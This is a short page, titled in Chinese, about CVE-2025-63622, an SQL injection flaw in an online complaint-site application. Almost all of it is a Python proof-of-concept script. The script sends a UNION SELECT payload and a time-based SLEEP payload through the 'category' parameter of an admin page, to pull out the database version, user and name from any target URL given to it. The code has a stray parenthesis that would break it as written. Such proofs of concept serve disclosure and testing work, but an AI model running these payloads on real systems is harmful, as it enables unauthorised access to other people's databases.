CVE-2025-63622: code-projects在线投诉系统SQL注入漏洞

import requests import sys # CVE-2025-63622 PoC - SQL Injection in Online Complaint Site 1.0 # Target: /cms/admin/subcategory.php # Parameter: category def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in category parameter """ # Prepare the malicious request params = { 'category': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.RequestException as e: return f"Error: {e}" def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_63622.py <target_url>") print("Example: python cve_2025_63622.py http://target.com/cms/admin/subcategory.php") sys.exit(1) target = sys.argv[1] # Payload to extract database version payload = "1' UNION SELECT NULL,version(),user(),database()-- -") print(f"[*] Testing SQL injection on: {target}") print(f"[*] Payload: {payload}") result = exploit_sqli(target, payload) print(f"[+] Response:\n{result}") # Blind time-based injection payload blind_payload = "1' AND SLEEP(5)-- -" print(f"\n[*] Testing blind injection with: {blind_payload}") result = exploit_sqli(target, blind_payload) print(f"[+] Response: {result[:200]}...") if __name__ == "__main__": main()